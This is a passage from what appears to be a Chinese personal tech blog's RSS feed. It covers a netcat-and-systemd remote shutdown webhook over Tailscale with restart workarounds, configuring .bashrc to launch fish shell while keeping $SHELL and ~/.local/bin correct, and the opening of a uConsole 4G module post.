Jul 24 18:13:39 remote-sbc systemd[1]: Started shutdown-webhook.service - System shutdown webhook.
Jul 24 18:13:39 remote-sbc bash[1188]: nc: Cannot assign requested address
Jul 24 18:13:39 remote-sbc systemd[1]: shutdown-webhook.service: Main process exited, code=exited, status=1/FAILURE
Jul 24 18:13:39 remote-sbc systemd[1]: shutdown-webhook.service: Failed with result &#39;exit-code&#39;.
Jul 24 18:13:40 remote-sbc systemd[1]: shutdown-webhook.service: Scheduled restart job, restart counter is at 4.
Jul 24 18:13:40 remote-sbc systemd[1]: Stopped shutdown-webhook.service - System shutdown webhook.
Jul 24 18:13:40 remote-sbc systemd[1]: Starting shutdown-webhook.service - System shutdown webhook...
Jul 24 18:13:40 remote-sbc systemd[1]: Started shutdown-webhook.service - System shutdown webhook.
Jul 24 18:13:40 remote-sbc bash[1232]: nc: Cannot assign requested address
Jul 24 18:13:40 remote-sbc systemd[1]: shutdown-webhook.service: Main process exited, code=exited, status=1/FAILURE
Jul 24 18:13:40 remote-sbc systemd[1]: shutdown-webhook.service: Failed with result &#39;exit-code&#39;.
Jul 24 18:13:40 remote-sbc systemd[1]: shutdown-webhook.service: Scheduled restart job, restart counter is at 5.
Jul 24 18:13:40 remote-sbc systemd[1]: Stopped shutdown-webhook.service - System shutdown webhook.
Jul 24 18:13:40 remote-sbc systemd[1]: shutdown-webhook.service: Start request repeated too quickly.
Jul 24 18:13:40 remote-sbc systemd[1]: shutdown-webhook.service: Failed with result &#39;exit-code&#39;.
Jul 24 18:13:40 remote-sbc systemd[1]: Failed to start shutdown-webhook.service - System shutdown webhook.</code></pre><p>（这里还可以提一嘴关于 <code>bash -e</code>：我一开始只用了 <code>bash -c</code> 执行那个单行服务器脚本。结果 netcat 报错以后脚本会继续执行，报 <code>Secret wrong:</code> 然后继续循环执行，不会退出。于是几秒里打出来好几百条日志，systemd 也不会判定服务失败，因为并没有退出 while true 循环。加入 <code>-e</code> 以后，<code>bash -ec</code> 会在任何指令返回非 0 返回码，即报错的情况下退出，于是这里能够正确的落到 systemd 头上帮我们做兜底。更多关于 bash 的 <code>-e</code> 以及恶魔般的 <code>-Eeuxo pipefail</code>，详见这个 gist: <a href="https://gist.github.com/mohanpedala/1e2ff5661761d3abd0385e8223e16425">bash_strict_mode.md</a>）</p>
<p>可以看到 netcat 并不能成功绑定到指定的 IP 上，重试 5 次以后 systemd 认为服务启动失败了。为什么？明明我们指定依赖了 tailscaled.service 呀？</p>
<p>这次终于不是我的锅了。看起来，tailscale 在真的准备好之前，就通知 systemd 它准备好了：</p>
<blockquote>
<p>Tailscaled tells systemd that it is ready before its ip address is bindable · Issue #11504 · tailscale/tailscale</p>
<p><a href="https://github.com/tailscale/tailscale/issues/11504">https://github.com/tailscale/tailscale/issues/11504</a></p>
</blockquote>
<p>Issue 里也有热心大佬给出了解决方法，增加一个 <code>ExecStartPre=/bin/bash -c 'until tailscale status; do sleep 1; done'</code> 前置检查即可。Systemd 会在启动服务之前先检查 tailscale 是不是真的有可绑定的 IP 了，然后再启动服务。在 tailscale 修复这个问题之前，只能这么 workaround 了。</p>
<p>另外，为什么 systemd 只重试了 5 次就判定服务启动失败，然后就不重试了？这就要提到三个 systemd 的配置项：<a href="https://www.freedesktop.org/software/systemd/man/latest/systemd.service.html#RestartSec="><code>RestartSec=</code></a>，<a href="https://www.freedesktop.org/software/systemd/man/latest/systemd.unit.html#StartLimitIntervalSec=interval"><code>StartLimitIntervalSec=interval, StartLimitBurst=burst</code></a>。在 <code>/etc/systemd/system.conf</code> 里可以看到，默认的重试间隔是 100ms，限制窗口是 10s，重试限制是 5 次。意思是说，每个 10 秒的窗口内如果重启超过 5 次，那 systemd 就会判定服务挂掉不再重启。而这里我们每次启动立刻就会报错退出，间隔 100ms，那马上就会用光 5 次机会。所以另一个防止 systemd 判定失败的方法就是加上 <code>RestartSec=2</code>，这样就算一直重启，也不会在 10 秒的窗口里超过 5 次的限制，会一直重试下去。</p>
<p>结合这两个 workaround，最终版的服务出炉了：</p>

<div class="code-wrap-div">






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-service" data-lang="service"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="k">[Unit]</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="na">Description</span><span class="o">=</span><span class="s">System shutdown webhook</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="na">After</span><span class="o">=</span><span class="s">network.target tailscaled.service</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="na">Wants</span><span class="o">=</span><span class="s">tailscaled.service</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="k">[Service]</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="na">Type</span><span class="o">=</span><span class="s">exec</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="c"># https://github.com/tailscale/tailscale/issues/11504</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="na">ExecStartPre</span><span class="o">=</span><span class="s">/bin/bash -c &#39;until tailscale status; do sleep 1; done&#39;</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="na">ExecStart</span><span class="o">=</span><span class="s">/bin/bash -ec &#39;while true; do req=$(echo &#34;HTTP/1.1 200 OK&#34; | nc -l -N &lt;TAILSCALE_IP&gt; 8888); secret=$(echo &#34;&lt;PASSWORD&gt;_$(($(date +%%s)/10))&#34; | sha256sum | cut -d &#34; &#34; -f 1); if [[ &#34;$req&#34; = *&#34;$secret&#34;* ]]; then echo &#34;Secret correct, shutting down...&#34;; shutdown; else echo &#34;Secret wrong: $req&#34;; fi; done&#39;</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="na">Restart</span><span class="o">=</span><span class="s">on-failure</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="na">RestartSec</span><span class="o">=</span><span class="s">2</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">
</span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="k">[Install]</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="na">WantedBy</span><span class="o">=</span><span class="s">multi-user.target</span></span></span></code></pre></div>
</div>

]]></content:encoded>
    </item>
    <item>
      <title>优雅地启动 fish shell</title>
      <link>https://sttev.com/posts/43-properly-start-fish-shell/</link>
      <pubDate>Tue, 29 Apr 2025 17:30:00 +0800</pubDate><author>steve@sttev.com (SteveHawk)</author>
      <guid>https://sttev.com/posts/43-properly-start-fish-shell/</guid>
      <description>&lt;h2 id=&#34;背景&#34;&gt;背景&lt;/h2&gt;&#xA;&lt;p&gt;大约八年前，我从同学那儿了解到了 &lt;a href=&#34;https://fishshell.com/&#34;&gt;fish shell&lt;/a&gt;。在这之后，我使用的所有非临时 Linux 环境都装上了 fish 作为交互 shell 使用。fish 智能的自动补全和漂亮的高亮让我无法离开，但是 fish 有一个不那么方便的特性：不太兼容 Bash。&lt;/p&gt;</description>
      <content:encoded><![CDATA[<h2 id="背景">背景</h2>
<p>大约八年前，我从同学那儿了解到了 <a href="https://fishshell.com/">fish shell</a>。在这之后，我使用的所有非临时 Linux 环境都装上了 fish 作为交互 shell 使用。fish 智能的自动补全和漂亮的高亮让我无法离开，但是 fish 有一个不那么方便的特性：不太兼容 Bash。</p>
<p>现代 Linux（尤其是我常用的 Debian/Ubuntu/Arch 等发行版）相当依赖 Bash。他们都预装并使用 Bash 作为默认 shell，在系统运行过程中（比如 login shell 初始化等等）都会执行很多 Bash 脚本。绝大部分的 Linux 指令教程只会提供 Bash 的版本，绝大部分软件的安装脚本和运行脚本等等也都会使用 Bash 脚本。</p>
<p>在这个 Bash 为王的世界，想要优雅的使用 fish 作为默认 shell 需要好好动一些心思。</p>
<h2 id="需求">需求</h2>
<p>对于使用的方法和配置的结果，我有这么几个需求。</p>
<p>首先，对系统原始配置的改动要尽量少。虽然 Linux 有无与伦比的开放性，但是我还是倾向于尽量使用原生工具，并且尽量使用默认配置（fish 是少数的特例）。原因有二，一来不需要记忆这么多的定制项，要重装或者新配置环境的时候都可以尽快上手；二来有时候在用一些没有定制化的环境（比如在一个容器里临时 debug）的时候，也不会出现习惯了高级工具或者配置，由奢入俭难的问题。</p>
<p>其次，要能尽量兼容 Bash 的存在。需要 Bash 的时候，fish 不会挡道。</p>
<p>最后，环境变量等配置，需要尽量无感平移到 fish 中。和第一点其实类似，我不想为了 fish 再写一套新的初始化脚本，到时候 Bash fish 两边同步维护也会非常麻烦。</p>
<h2 id="方法">方法</h2>
<p>万能的 ArchWiki 其实已经给出了很好的解答：<a href="https://wiki.archlinux.org/title/Fish#System_integration">https://wiki.archlinux.org/title/Fish#System_integration</a>。主要有三种方法：直接更改默认shell，改终端模拟器配置，改<code>.bashrc</code>。</p>
<h3 id="更改默认-shell">更改默认 shell</h3>
<p>最直接的方法，就是直接把用户的默认 login shell 改成 fish。这也是我在<a href="/posts/03-linux-notes/#%E8%AE%BE%E7%BD%AEfish%E4%B8%BA%E9%BB%98%E8%AE%A4shell">18年的这篇笔记</a>里记录的方法：</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">chsh -s /usr/bin/fish</span></span></code></pre></div><p>当时的我还没有那么深入使用 Linux，对这一操作的后果并不了解（实际上倒也没那么大问题 lol）。直接更改 login shell 主要影响的就是环境变量的配置，即（包括但不限于）<code>/etc/profile</code> <code>~/.bash_profile</code> <code>/etc/bash.bashrc</code> <code>~/.bashrc</code> 这几个文件不会自动在登录的时候被 source，里面包含的一些默认的环境变量配置需要再<a href="https://wiki.archlinux.org/title/Fish#Source_/etc/profile_on_login">单独写 fish 的配置</a>去设置。</p>
<p>执行 Bash 脚本之类的任务倒是不会影响，因为都有 shabang 行指定解释器。在 fish 里临时进 bash 跑些东西也是很方便。</p>
<h3 id="更改终端配置">更改终端配置</h3>
<p>一个有些不太直接的方法，就是在终端模拟器（gnome-terminal，wezterm，etc.）或者终端复用器（tmux，zellij，etc.）或者 SSH 连接设置里设置使用 fish。终端模拟器和复用器拉起的 fish 应该都能正确拿到 login shell 的环境变量，但是 SSH 启动的就是 login shell，肯定还得另外配置。我不喜欢这种方法的点主要在于不够无感，需要手动在所有访问 shell 的地方进行设置。</p>
<h3 id="更改-bashrc">更改 <code>.bashrc</code></h3>
<p>这是我目前一直采用的方案，相对折中，配置也很方便。</p>
<p>既然我们想要 fish 继承 login shell（也就是 Bash）的环境变量，又想自动进入 fish，那我们只需要找一个方法让 Bash 在初始化的最后调用 fish。碰巧 Bash 会在交互模式下加载 <code>~/.bashrc</code> 这个文件，那只需在这个配置文件的最后一行加上：</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl"><span class="nb">exec</span> fish</span></span></code></pre></div><p>就大功告成啦！这样配置非常简洁好记，不影响 login shell 的加载，fish 也能完全继承 Bash 里的环境变量，也无所谓使用什么终端或是 SSH 访问。<code>exec</code> 执行的指令也会直接替换掉当前的进程，于是 fish 的进程会直接挂在终端下面，而不是挂在一个 Bash 进程下面。在过去的好几年里，我的个人机器上都用着这个配置。</p>
<p>这一行简单的配置能满足我 99.9% 情况下的需求，但是有一个小小的缺陷：偶尔一次需要进入 Bash 执行命令的时候，会有一些麻烦。ArchWiki 提到可以用 <code>bash --norc</code> 来绕过 <code>.bashrc</code> 的执行，但是这同时会导致一堆配置没有被加载。我一般会临时把 <code>.bashrc</code> 里的这行 <code>exec fish</code> 注掉，开一个新的窗口操作，完事了再给改回去。属实麻烦。</p>
<p>这两天重看 ArchWiki 的时候，发现这几年间的更新，维护者们提供了一个复杂得多，但是更完善的命令：</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl"><span class="k">if</span> <span class="o">[[</span> <span class="k">$(</span>ps --no-header --pid<span class="o">=</span><span class="nv">$PPID</span> --format<span class="o">=</span>comm<span class="k">)</span> !<span class="o">=</span> <span class="s2">&#34;fish&#34;</span> <span class="o">&amp;&amp;</span> -z <span class="si">${</span><span class="nv">BASH_EXECUTION_STRING</span><span class="si">}</span> <span class="o">&amp;&amp;</span> <span class="si">${</span><span class="nv">SHLVL</span><span class="si">}</span> <span class="o">==</span> <span class="m">1</span> <span class="o">]]</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="k">then</span>
</span></span><span class="line"><span class="ln">3</span><span class="cl">    <span class="nb">shopt</span> -q login_shell <span class="o">&amp;&amp;</span> <span class="nv">LOGIN_OPTION</span><span class="o">=</span><span class="s1">&#39;--login&#39;</span> <span class="o">||</span> <span class="nv">LOGIN_OPTION</span><span class="o">=</span><span class="s1">&#39;&#39;</span>
</span></span><span class="line"><span class="ln">4</span><span class="cl">    <span class="nb">exec</span> fish <span class="nv">$LOGIN_OPTION</span>
</span></span><span class="line"><span class="ln">5</span><span class="cl"><span class="k">fi</span></span></span></code></pre></div><blockquote>
<p>以上命令来自：<a href="https://wiki.archlinux.org/title/Fish#Modify_.bashrc_to_drop_into_fish">https://wiki.archlinux.org/title/Fish#Modify_.bashrc_to_drop_into_fish</a></p>
</blockquote>
<p>这一串东西主要完成了三件事情：</p>
<ul>
<li>
<p><code>[[ $(ps --no-header --pid=$PPID --format=comm) != &quot;fish&quot; &amp;&amp; ${SHLVL} == 1 ]]</code> 这两个判断条件分别是“当前 shell 是否不是 fish”以及“当前 shell 层级是否在第一层”，意思是只有在不是 fish，以及第一层的条件下，才会进入 fish。这样一来，只有最开始的那一层 Bash 才会进入 fish，后面在 fish 里继续执行 <code>bash</code> 都会留在 Bash 里，解决了我刚提到的痛点。</p>
</li>
<li>
<p><code>[[ -z ${BASH_EXECUTION_STRING} ]]</code> 用来判断当前是否是 <code>bash -c</code> 执行命令的情况，避免这时候进入 fish。不过 Bash 在非交互模式下并不会调用 <code>.bashrc</code>，而且至少 Debian/Ubuntu 默认自带的 <code>.bashrc</code> 文件最开头就判断了是否为交互模式，非交互模式直接跳过。所以这个条件更准确的来说是用来避免 <code>bash -c -i</code> 这种强制交互模式执行指令的情况下进入 fish。</p>
</li>
<li>
<p><code>shopt -q login_shell &amp;&amp; LOGIN_OPTION='--login' || LOGIN_OPTION=''</code> 用来获取当前是否是 login shell。实话说我不太清楚 fish 默认在 login 和 non-login shell 情况下表现有什么区别，文档里并没有对此进行说明。倒是 config.fish 里可以使用 <code>if status is-login</code> 来指定一些 login shell 情况下执行的配置，我怀疑现在这可能就是唯一的区别，即只是一个状态标记的区别。</p>
<p>fish 的<a href="https://fishshell.com/docs/current/faq.html#why-won-t-ssh-scp-rsync-connect-properly-when-fish-is-my-login-shell">文档</a>里确实有提到无论何种状态，fish 都会读取 config.fish，不像 Bash 会区分不同的状态读不同的配置文件。用 <code>if status</code> 去区分交互/非交互或者 login/no-login 状态就是文档里推荐的做法，这样功能上就和 Bash 统一上了，所以我认为我的猜测应该八九不离十。我的 <code>config.fish</code> 里基本没有什么内容，所以这个部分对我意义也不大。</p>
</li>
</ul>
<p>总结下来，这样一大串补丁确实解决了单独 <code>exec fish</code> 带来的一些问题，但是是否值得专程跑过来复制一通值得商榷。我会在日常稳定使用的机器上用完整版的配置，但是如果需要快速配置一下 fish，单光一行 <code>exec fish</code> 已经足够很好的完成任务了。</p>
<p>（很好奇再过 5 年，ArchWiki 上这串代码块会不会成长为一个怪兽；）</p>
<h2 id="shell-的问题"><code>$SHELL</code> 的问题</h2>
<p>相比于直接 <code>exec fish</code>，完整版配置在使用 <a href="https://zellij.dev/">Zellij</a> 或是 <a href="https://midnight-commander.org/">Midnight Commander</a> 这类工具的时候，加载的 shell 从 fish 变成了 Bash。</p>
<p>如果 <code>.bashrc</code> 只是简单执行 <code>exec fish</code>，那么他们启动的 Bash 最后都会落入 fish（mc 其实会有问题，<a href="https://github.com/fish-shell/fish-shell/issues/10963">fish-shell#10963</a>，这里不展开）。但是完整的配置会检查当前进程和 <code>$SHLVL</code>，在 fish 里启动一个新的 subshell，进程名为 <code>fish</code> 且层级数大于 1，符合预期地进入 Bash。</p>
<p>巧的是，这两个工具都是读取 <code>$SHELL</code> 环境变量选择使用的 shell。用户默认的 <code>$SHELL</code> 设置来自于 <code>/etc/passwd</code>，一般默认就是 <code>/bin/bash</code>。于是一个简单的 workaround 就是主动设置 <code>$SHELL</code>，在 fish 的时候设置成对应的 <code>/bin/fish</code>，在 bash 的时候再恢复为 <code>/bin/bash</code>。如下：</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl"><span class="k">if</span> <span class="o">[[</span> <span class="k">$(</span>ps --no-header --pid<span class="o">=</span><span class="nv">$PPID</span> --format<span class="o">=</span>comm<span class="k">)</span> !<span class="o">=</span> <span class="s2">&#34;fish&#34;</span> <span class="o">&amp;&amp;</span> -z <span class="si">${</span><span class="nv">BASH_EXECUTION_STRING</span><span class="si">}</span> <span class="o">&amp;&amp;</span> <span class="si">${</span><span class="nv">SHLVL</span><span class="si">}</span> <span class="o">==</span> <span class="m">1</span> <span class="o">]]</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="k">then</span>
</span></span><span class="line"><span class="ln">3</span><span class="cl">    <span class="nb">shopt</span> -q login_shell <span class="o">&amp;&amp;</span> <span class="nv">LOGIN_OPTION</span><span class="o">=</span><span class="s1">&#39;--login&#39;</span> <span class="o">||</span> <span class="nv">LOGIN_OPTION</span><span class="o">=</span><span class="s1">&#39;&#39;</span>
</span></span><span class="line"><span class="ln">4</span><span class="cl">    <span class="nv">SHELL</span><span class="o">=</span><span class="s2">&#34;/bin/fish&#34;</span> <span class="nb">exec</span> fish <span class="nv">$LOGIN_OPTION</span>
</span></span><span class="line"><span class="ln">5</span><span class="cl"><span class="k">fi</span>
</span></span><span class="line"><span class="ln">6</span><span class="cl"><span class="nb">export</span> <span class="nv">SHELL</span><span class="o">=</span><span class="s2">&#34;/bin/bash&#34;</span></span></span></code></pre></div><p>这样一来，不管在 fish 还是 Bash 下，zellij 和 mc 都能正确进入对应的 shell 了。</p>
<h2 id="localbin-的困扰"><code>~/.local/bin</code> 的困扰</h2>
<h3 id="问题">问题</h3>
<p>在 <code>.bashrc</code> 中 <code>exec fish</code> 还带来了另一个副作用。</p>
<p><code>~/.local/bin</code> 是一个我这几年越发常用的路径，<a href="https://specifications.freedesktop.org/basedir-spec/latest/">XDG 规范</a>推荐使用这个路径存放用户自己的可执行文件。我会把一些自定义的可执行文件（直接下载的软件，脚本，等等）存放或是软链接到这个路径下，这样就可以直接执行了，管理起来也很方便。</p>
<p>但是前提是，这个路径被正确添加到了 <code>$PATH</code> 里。在最近的 Debian/Ubuntu 系统里，默认的 <code>~/.profile</code> 文件（<code>/etc/skel/.profile</code>）内容是这样的：</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="c1"># ~/.profile: executed by the command interpreter for login shells.</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="c1"># This file is not read by bash(1), if ~/.bash_profile or ~/.bash_login</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="c1"># exists.</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="c1"># see /usr/share/doc/bash/examples/startup-files for examples.</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="c1"># the files are located in the bash-doc package.</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">
</span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="c1"># the default umask is set in /etc/profile; for setting the umask</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="c1"># for ssh logins, install and configure the libpam-umask package.</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="c1">#umask 022</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">
</span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="c1"># if running bash</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="k">if</span> <span class="o">[</span> -n <span class="s2">&#34;</span><span class="nv">$BASH_VERSION</span><span class="s2">&#34;</span> <span class="o">]</span><span class="p">;</span> <span class="k">then</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">    <span class="c1"># include .bashrc if it exists</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">    <span class="k">if</span> <span class="o">[</span> -f <span class="s2">&#34;</span><span class="nv">$HOME</span><span class="s2">/.bashrc&#34;</span> <span class="o">]</span><span class="p">;</span> <span class="k">then</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">        . <span class="s2">&#34;</span><span class="nv">$HOME</span><span class="s2">/.bashrc&#34;</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">    <span class="k">fi</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl"><span class="k">fi</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">
</span></span><span class="line"><span class="ln">19</span><span class="cl"><span class="c1"># set PATH so it includes user&#39;s private bin if it exists</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl"><span class="k">if</span> <span class="o">[</span> -d <span class="s2">&#34;</span><span class="nv">$HOME</span><span class="s2">/bin&#34;</span> <span class="o">]</span> <span class="p">;</span> <span class="k">then</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">    <span class="nv">PATH</span><span class="o">=</span><span class="s2">&#34;</span><span class="nv">$HOME</span><span class="s2">/bin:</span><span class="nv">$PATH</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl"><span class="k">fi</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl">
</span></span><span class="line"><span class="ln">24</span><span class="cl"><span class="c1"># set PATH so it includes user&#39;s private bin if it exists</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl"><span class="k">if</span> <span class="o">[</span> -d <span class="s2">&#34;</span><span class="nv">$HOME</span><span class="s2">/.local/bin&#34;</span> <span class="o">]</span> <span class="p">;</span> <span class="k">then</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl">    <span class="nv">PATH</span><span class="o">=</span><span class="s2">&#34;</span><span class="nv">$HOME</span><span class="s2">/.local/bin:</span><span class="nv">$PATH</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl"><span class="k">fi</span></span></span></code></pre></div><p>非常简洁明了，login shell（Bash）会在启动时加载这个文件，首先加载 <code>.bashrc</code>，然后分别判断 <code>~/bin</code> 和 <code>~/.local/bin</code> 是否存在，存在的话加入 <code>$PATH</code>。</p>
<p>GUI 模式下，X.org 会在非交互模式下加载用户的 login shell（抱歉我还没用上 Wayland）。于是加载 <code>.bashrc</code> 的时候，上来就会碰上这几行：（摘自 <code>/etc/skel/.bashrc</code> 的开头）</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl"><span class="c1"># If not running interactively, don&#39;t do anything</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="k">case</span> <span class="nv">$-</span> in
</span></span><span class="line"><span class="ln">3</span><span class="cl">    *i*<span class="o">)</span> <span class="p">;;</span>
</span></span><span class="line"><span class="ln">4</span><span class="cl">      *<span class="o">)</span> <span class="k">return</span><span class="p">;;</span>
</span></span><span class="line"><span class="ln">5</span><span class="cl"><span class="k">esac</span></span></span></code></pre></div><p>于是 <code>. &quot;$HOME/.bashrc&quot;</code> 直接返回，继续执行完 <code>.profile</code> 的剩下两块代码。这么一来，桌面版系统只要存在这两个 bin 路径，重新登录后他们就会自动出现在环境变量里。Nice！</p>
<p>但如果是 SSH 连接呢？当使用 SSH 远程登录的时候，SSH 会使用一个交互式的 login shell。坏了！这样一来，<code>.profile</code> 在调用 <code>.bashrc</code> 的时候，就会执行到最后几行进入 fish，<code>.profile</code> 的最后两块代码永远也不会被执行了。于是在 SSH 连接的时候，<code>~/.local/bin</code> 不会被正确的加入环境变量。</p>
<p>所以问题就是，如何在 login shell 下正确添加 <code>~/.local/bin</code> 到环境变量。</p>
<h3 id="解决方法">解决方法</h3>
<p>一种方案是直接修改 <code>.profile</code>，把 <code>.bashrc</code> 的块移动到最下面。我并不太乐意采用这个方案，因为好像是个有点大的改动，并且担心这个顺序变动在将来会造成环境变量优先级错乱。</p>
<p>另一种方法是在 <code>fish.config</code> 里判断 login shell 的时候执行 <code>.profile</code>。这好像是个办法，但其实不可行：在 <code>.bashrc</code> 执行的过程中我就已经需要这个环境变量了，比如引用这个路径下的 <code>uv</code> 生成 Bash 自动补全。到启动 fish 以后再引入变量已经来不及了。</p>
<p>所以最后一个折中方案，就是直接把 <code>.profile</code> 的后两块复制一份进 <code>.bashrc</code>，在加载 fish 之前手动添加一下环境变量（我只用 <code>~/.local/bin</code>，所以只复制这部分）。这解决了 SSH 情况下没有环境变量的问题，但是会导致 GUI 环境的 shell 环境变量里，<code>~/.local/bin</code> 出现了两次。倒也不是什么大问题，只是我觉得有些别扭，于是可以再多加一个字符串判定：<code>[[ &quot;$PATH&quot; != *&quot;$HOME/.local/bin&quot;* ]]</code>，或者也可以写成 <code>[[ ! &quot;$PATH&quot; =~ &quot;$HOME/.local/bin&quot; ]]</code> 。于是最终版的 <code>.bashrc</code> 额外配置如下：</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln"> 1</span><span class="cl">...  <span class="c1"># 原本的 .bashrc 配置</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="c1"># set PATH so it includes user&#39;s private bin if it exists</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="k">if</span> <span class="o">[[</span> -d <span class="s2">&#34;</span><span class="nv">$HOME</span><span class="s2">/.local/bin&#34;</span> <span class="o">&amp;&amp;</span> <span class="s2">&#34;</span><span class="nv">$PATH</span><span class="s2">&#34;</span> !<span class="o">=</span> *<span class="s2">&#34;</span><span class="nv">$HOME</span><span class="s2">/.local/bin&#34;</span>* <span class="o">]]</span> <span class="p">;</span> <span class="k">then</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">    <span class="nv">PATH</span><span class="o">=</span><span class="s2">&#34;</span><span class="nv">$HOME</span><span class="s2">/.local/bin:</span><span class="nv">$PATH</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="k">fi</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">...  <span class="c1"># 依赖 .local/bin 的一些配置</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">
</span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="c1"># enter fish</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="k">if</span> <span class="o">[[</span> <span class="k">$(</span>ps --no-header --pid<span class="o">=</span><span class="nv">$PPID</span> --format<span class="o">=</span>comm<span class="k">)</span> !<span class="o">=</span> <span class="s2">&#34;fish&#34;</span> <span class="o">&amp;&amp;</span> -z <span class="si">${</span><span class="nv">BASH_EXECUTION_STRING</span><span class="si">}</span> <span class="o">&amp;&amp;</span> <span class="si">${</span><span class="nv">SHLVL</span><span class="si">}</span> <span class="o">==</span> <span class="m">1</span> <span class="o">]]</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="k">then</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">    <span class="nb">shopt</span> -q login_shell <span class="o">&amp;&amp;</span> <span class="nv">LOGIN_OPTION</span><span class="o">=</span><span class="s1">&#39;--login&#39;</span> <span class="o">||</span> <span class="nv">LOGIN_OPTION</span><span class="o">=</span><span class="s1">&#39;&#39;</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">    <span class="nv">SHELL</span><span class="o">=</span><span class="s2">&#34;/bin/fish&#34;</span> <span class="nb">exec</span> fish <span class="nv">$LOGIN_OPTION</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="k">fi</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="nb">export</span> <span class="nv">SHELL</span><span class="o">=</span><span class="s2">&#34;/bin/bash&#34;</span></span></span></code></pre></div>]]></content:encoded>
    </item>
    <item>
      <title>uConsole 4G 模块折腾</title>
      <link>https://sttev.com/posts/42-uconsole-4g/</link>
      <pubDate>Sun, 02 Feb 2025 17:30:00 +0800</pubDate><author>steve@sttev.com (SteveHawk)</author>
      <guid>https://sttev.com/posts/42-uconsole-4g/</guid>
      <description>&lt;h2 id=&#34;intro&#34;&gt;Intro&lt;/h2&gt;&#xA;&lt;p&gt;一月份终于收到了我去年四月底预订的 uConsole，自然是要好好折腾一翻。因为是 CM4 核心，所以大部分功能是开箱即用，和正常的树莓派以及 Linux 桌面无异。&lt;/p&gt;</description>
      <content:encoded><![CDATA[<h2 id="intro">Intro</h2>
<p>一月份终于收到了我去年四月底预订的 uConsole，自然是要好好折腾一翻。因为是 CM4 核心，所以大部分功能是开箱即用，和正常的树莓派以及 Linux 桌面无异。</p>
<blockquote>
<p>这里有一些人家列出来的可以折腾的事情：<a href="https://github.com/cjstoddard/Clockworkpi-uConsole">https://github.com/cjstoddard/Clockworkpi-uConsole</a></p>
</blockquote>
<p>订购的版本带有 4G 模块，于是这个没接触过的新玩意成为了折腾的重点。</p>
<hr>
<h2 id="基础使用">基础使用</h2>
<p>官方文档里给出了启用 4G 模块、联网以及拨打电话的基础说明。</p>
<blockquote>
